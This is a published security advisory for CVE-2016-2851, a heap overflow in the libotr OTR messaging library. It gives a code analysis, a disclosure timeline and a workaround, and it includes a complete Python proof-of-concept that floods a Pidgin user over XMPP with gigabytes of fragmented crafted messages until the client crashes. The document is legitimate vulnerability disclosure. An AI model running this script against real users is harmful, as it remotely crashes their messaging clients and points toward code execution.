X41 D-Sec GmbH Security Advisory: X41-2016-001 Memory Corruption Vulnerability in "libotr" =========================================== Overview -------- Severity Rating: high Confirmed Affected Version: 4.1.0 and below Confirmed Patched Version: libotr 4.1.1 Vendor: OTR Development Team Vendor URL: https://otr.cypherpunks.ca Vendor Reference: OTR Security Advisory 2016-01 Vector: Remote Credit: X41 D-Sec GmbH, Markus Vervier Status: public CVE: CVE-2016-2851 CVSS Score: 8.1 (High) CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/ Summary and Impact ------------------ A remote attacker may crash or execute arbitrary code in libotr by sending large OTR messages. While processing specially crafted messages, attacker controlled data on the heap is written out of bounds. No special user interaction or authorization is necessary in default configurations. Product Description ------------------- Off-the-Record (OTR) Messaging is a cryptographic protocol used in well-known instant messaging clients such as Pidgin, ChatSecure, Adium and others. It is designed to work on top of existing protocols and used worldwide to provide secure communication in insecure environments. OTR is regarded as highly secure and according to documents revealed by Edward Snowden one of the protocols that the NSA is not able to decrypt via cryptanalysis. The most commonly used implementation of OTR is "libotr" which is a pure C code implementation of the OTR protocol. Analysis -------- During a manual code review X41 D-Sec GmbH discovered a remotely exploitable vulnerability in libotr. By sending large messages, an integer overflow can be triggered which subsequently leads to a heap overflow on 64 bit architectures. When a message of type OTRL_MSGSTATE_DATA is received during an established OTR conversation, this message is passed to function otrl_proto_accept_data in src/message.c line 1347: case OTRL_MSGSTATE_ENCRYPTED: extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES); err = otrl_proto_accept_data(&plaintext, &tlvs, context, message, &flags, extrakey); After base64 decoding the message and reading various values from it, the length of a payload is read into a variable of type "unsigned int" in file proto.c line 784: read_int(datalen); It is checked that the message buffer will contain at least a "datalen" number of bytes using read_int in proto.c line 785: require_len(datalen); The macros "read_int" and "required_len" are defined in src/serial.h: #define require_len(l) do { \ if (lenp < (l)) goto invval; \ } while(0) #define read_int(x) do { \ require_len(4); \ (x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] << 8) | bufp[3]; \ bufp += 4; lenp -= 4; \ } while(0) 4 bytes are read from the message buffer and interpreted as unsigned int value. Subsequently a buffer of size datalen+1 is allocated using malloc in proto.c line 786: data = malloc(datalen+1); if (!data) { err = gcry_error(GPG_ERR_ENOMEM); goto err; } Now data from the message is copied into this buffer using memmove in line 791: memmove(data, bufp, datalen); The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is read from the message buffer. As datalen is of size 32-bit (unsigned int) the operation "datalen+1" will wrap around before being passed to malloc. This will effectively result in a zero allocation ( malloc(0) ) which is valid in common implementations of malloc on the x86_64 architecture. As no addition is done in the value passed to the call to memmove, 4 gigabytes of data are copied out of bounds to the heap location pointed to by data. Proof of Concept ---------------- In order to successfully trigger the vulnerability, an attacker must be able to send a data message of more than 5.5 gigabytes to a victim in order to pass the check "require_len(datalen)". Due to the support of fragmented OTR messages assembled by libotr this is possible in practice. By sending 275 messages of size 20MB each, X41 was able to make libotr process such a data message successfully on a system with 8GB of ram and 15GB of swap space. As data types for lenp and other lengths of the message are 64 bit large size_t types on x86_64 architectures huge messages of multiple gigabytes are possible. Sending such a message to a pidgin client took only a few minutes on a fast network connection without visible signs of any attack to a user. A proof of concept triggering a heap overwrite and crash in the pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux architectures is available[1]. The crash occurs due to the overwrite hitting unmapped memory. Using techniques such as heap grooming, X41 was able to inflate the heap to more than 4GB and overwrite function pointers and arguments on the heap in order to take over control flow. A working exploit will not be published at this time. Interaction by users beyond having enabled OTR is not necessary as OTR sessions are automatically established with anyone by default in Pidgin and other common software using libotr. This also applies to unauthorized contacts in most default configurations. Workarounds ----------- As a temporary workaround on Linux and BSD systems, the amount of memory available to the process running libotr may be limited to less than 4GB via ulimit. About X41 D-Sec GmbH -------------------- X41 D-Sec is a provider of application security services. We focus on application code reviews, design review and security testing. X41 D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers in various industries such as finance, software development and public institutions. Timeline -------- 2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0 2016-02-17 Initial PoC 2016-02-18 Vendor contacted 2016-02-18 Vulnerability confirmed by vendor 2016-03-03 Vendor patch available 2016-03-04 CVE requested 2016-03-06 CVE-2016-2851 assigned 2016-03-09 Embargo lifted and disclosure References ---------- [1] https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py -- X41 D-SEC GmbH, Dennewartstr. 25-27, D-52068 Aachen T: +49 241 9809418-0, Fax: -9 Unternehmenssitz: Aachen, Amtsgericht Aachen: HRB19989 Geschftsfhrer: Markus Vervier -- otr-heap-overwrite-poc.py -- #!/usr/bin/python -u # ### PoC libotr heap overwrite on Pidgin ### 2016-02-17 Markus Vervier ### X41 D-Sec GmbH ### initial code taken from pyxmpp examples (echobot.py) ### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger) ### On a loopback interface the exploit took several minutes, ### using XMPP stream compression this could be reduced massively ### pyxmpp does not support it ### We used XMPP connections without TLS to not further complicate the setup ### USAGE ### ### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest" ### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin) ### 2. Disconnect the attacker account ### 3. Fire up this script and let it connect with the attacker account credentials ### 4. Send a message from victim to attacker ### 5. Wait until message sending is complete, pidgin should crash ### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC ### !!! If we would implement full OTR in this script we could send the bad message directly ### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags import sys import logging import locale import codecs import os, signal import time import base64 def ignore_signal_pipe(signum, frame): print 'signal pipe caught -- IGNORING' signal.signal(signal.SIGPIPE, ignore_signal_pipe) from struct import * from pyxmpp.all import JID,Iq,Presence,Message,StreamError from pyxmpp.jabber.client import JabberClient from pyxmpp.interface import implements from pyxmpp.interfaces import * from pyxmpp.streamtls import TLSSettings from enum import Enum class EchoHandler(object): """Provides the actual 'echo' functionality. Handlers for presence and message stanzas are implemented here. """ implements(IMessageHandlersProvider, IPresenceHandlersProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_message_handlers(self): """Return list of (message_type, message_handler) tuples. The handlers returned will be called when matching message is received in a client session.""" return [ ("normal", self.message), ] def get_presence_handlers(self): """Return list of (presence_type, presence_handler) tuples. The handlers returned will be called when matching presence stanza is received in a client session.""" return [ (None, self.presence), ("unavailable", self.presence), ("subscribe", self.presence_control), ("subscribed", self.presence_control), ("unsubscribe", self.presence_control), ("unsubscribed", self.presence_control), ] def message(self,stanza): """Message handler for the component. Echoes the message back if its type is not 'error' or 'headline', also sets own presence status to the message body. Please note that all message types but 'error' will be passed to the handler for 'normal' message unless some dedicated handler process them. :returns: `True` to indicate, that the stanza should not be processed any further.""" subject=stanza.get_subject() body=stanza.get_body() t=stanza.get_type() m = 0 print u'Message from %s received.' % (unicode(stanza.get_from(),)), if subject: print u'Subject: "%s".' % (subject,), if body: print u'Body: "%s".' % (body,), if t: print u'Type: "%s".' % (t,) else: print u'Type: "normal".' if stanza.get_type()=="headline": # 'headline' messages should never be replied to return True # record instance tag if body[:9] == u'?OTR:AAMD': (self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):]) print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") ) self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag) return m def b64maxlen(self, chars): return 1 + (4 * chars / 3) def parse_aamc(self, msg): maxlen = self.b64maxlen(8) # 4 byte integer print "maxlen %u" % (maxlen) tmp = msg[0:maxlen] padding = "" if maxlen % 4 > 1: padding = "="*(4-(maxlen % 4)) tmp += padding print "decoding: "+tmp packed = base64.b64decode(tmp) # return unpack("I", packed[0:4]) return (packed[0:4], packed[4:8]) # their tag, our tag def initial_body(self, instance_tag, our_tag): ret = "?OTR:AAMD"; raw = b'' print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex")) #dirty hack raw += our_tag # sender_nstance_id raw += instance_tag # receiver_id raw += "D" # dummy flags raw += pack("I", 0x1) # sender key id raw += pack("I", 0x2) # recipient key id raw += pack("!I", 10) # len next_y raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;) raw += "12345678" # reveal sig dummy # yeah overflow! raw += pack("I", 0xFFFFFFFF); # datalen ret += base64.b64encode(raw+"A"*(57-len(raw))) return ret def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag): print "G-FUNK!" # this should result in about 0xFFFFFFFF times "A" base64 encoded len_msg = 5726623060 # fix frag size for base64 frag_size = (frag_size / 4) * 4 frag_msg = "QUFB"*(frag_size / 4) n = len_msg / frag_size # does not evenly divide? if len_msg % frag_size > 0: n += 1 k = 1 n += 1 # initialbody adds another frame initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag)) print "first fragment: "+initialbody m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=initialbody) self.client.stream.send(m) k += 1 print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n) cur_pos = 0 while(cur_pos < len_msg): body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg) m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=body) print "cur_pos %u of %u" % (cur_pos, len_msg) self.client.stream.send(m) k += 1 cur_pos = frag_size * (k-2) time.sleep(0.9) print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg) def presence(self,stanza): """Handle 'available' (without 'type') and 'unavailable' <presence/>.""" msg=u"%s has become " % (stanza.get_from()) t=stanza.get_type() if t=="unavailable": msg+=u"unavailable" else: msg+=u"available" show=stanza.get_show() if show: msg+=u"(%s)" % (show,) status=stanza.get_status() if status: msg+=u": "+status print msg def presence_control(self,stanza): """Handle subscription control <presence/> stanzas -- acknowledge them.""" msg=unicode(stanza.get_from()) t=stanza.get_type() if t=="subscribe": msg+=u" has requested presence subscription." elif t=="subscribed": msg+=u" has accepted our presence subscription request." elif t=="unsubscribe": msg+=u" has canceled his subscription of our." elif t=="unsubscribed": msg+=u" has canceled our subscription of his presence." print msg return stanza.make_accept_response() class VersionHandler(object): """Provides handler for a version query. This class will answer version query and announce 'jabber:iq:version' namespace in the client's disco#info results.""" implements(IIqHandlersProvider, IFeaturesProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_features(self): """Return namespace which should the client include in its reply to a disco#info query.""" return ["jabber:iq:version"] def get_iq_get_handlers(self): """Return list of tuples (element_name, namespace, handler) describing handlers of <iq type='get'/> stanzas""" return [ ("query", "jabber:iq:version", self.get_version), ] def get_iq_set_handlers(self): """Return empty list, as this class provides no <iq type='set'/> stanza handler.""" return [] def get_version(self,iq): """Handler for jabber:iq:version queries. jabber:iq:version queries are not supported directly by PyXMPP, so the XML node is accessed directly through the libxml2 API. This should be used very carefully!""" iq=iq.make_result_response() q=iq.new_query("jabber:iq:version") q.newTextChild(q.ns(),"name","Echo component") q.newTextChild(q.ns(),"version","1.0") return iq class Client(JabberClient): """Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient` class as base. That class provides basic stream setup (including authentication) and Service Discovery server. It also does server address and port discovery based on the JID provided.""" def __init__(self, jid, password, tls_cacerts): # if bare JID is provided add a resource -- it is required if not jid.resource: jid=JID(jid.node, jid.domain, "attacktest") if tls_cacerts: if tls_cacerts == 'tls_noverify': tls_settings = TLSSettings(require = True, verify_peer = False) else: tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts) else: tls_settings = None # setup client with provided connection information # and identity data JabberClient.__init__(self, jid, password, disco_name="PyXMPP example: echo bot", disco_type="bot", tls_settings = tls_settings) # add the separate components self.interface_providers = [ VersionHandler(self), EchoHandler(self), ] def stream_state_changed(self,state,arg): """This one is called when the state of stream connecting the component to a server changes. This will usually be used to let the user know what is going on.""" print "*** State changed: %s %r ***" % (state,arg) def print_roster_item(self,item): if item.name: name=item.name else: name=u"" print (u'%s "%s" subscription=%s groups=%s' % (unicode(item.jid), name, item.subscription, u",".join(item.groups)) ) def roster_updated(self,item=None): if not item: print u"My roster:" for item in self.roster.get_items(): self.print_roster_item(item) return print u"Roster item updated:" self.print_roster_item(item) # XMPP protocol is Unicode-based to properly display data received # _must_ convert it to local encoding or UnicodeException may be raised locale.setlocale(locale.LC_CTYPE, "") encoding = locale.getlocale()[1] if not encoding: encoding = "us-ascii" sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace") sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace") # PyXMPP uses `logging` module for its debug output # applications should set it up as needed logger = logging.getLogger() logger.addHandler(logging.StreamHandler()) logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity if len(sys.argv) < 3: print u"Usage:" print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],) print "example:" print "\t%s test@localhost verysecret" % (sys.argv[0],) sys.exit(1) print u"creating client..." c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None) print u"connecting..." c.connect() print u"looping..." try: # Component class provides basic "main loop" for the applitation # Though, most applications would need to have their own loop and call # component.stream.loop_iter() from it whenever an event on # component.stream.fileno() occurs. c.loop(1) except IOError, e: if e.errno == errno.EPIPE: # IGNORE EPIPE error print "PIPE ERROR -- IGNORING" else: pass except KeyboardInterrupt: print u"disconnecting..." c.disconnect() print u"exiting..." # vi: sts=4 et sw=4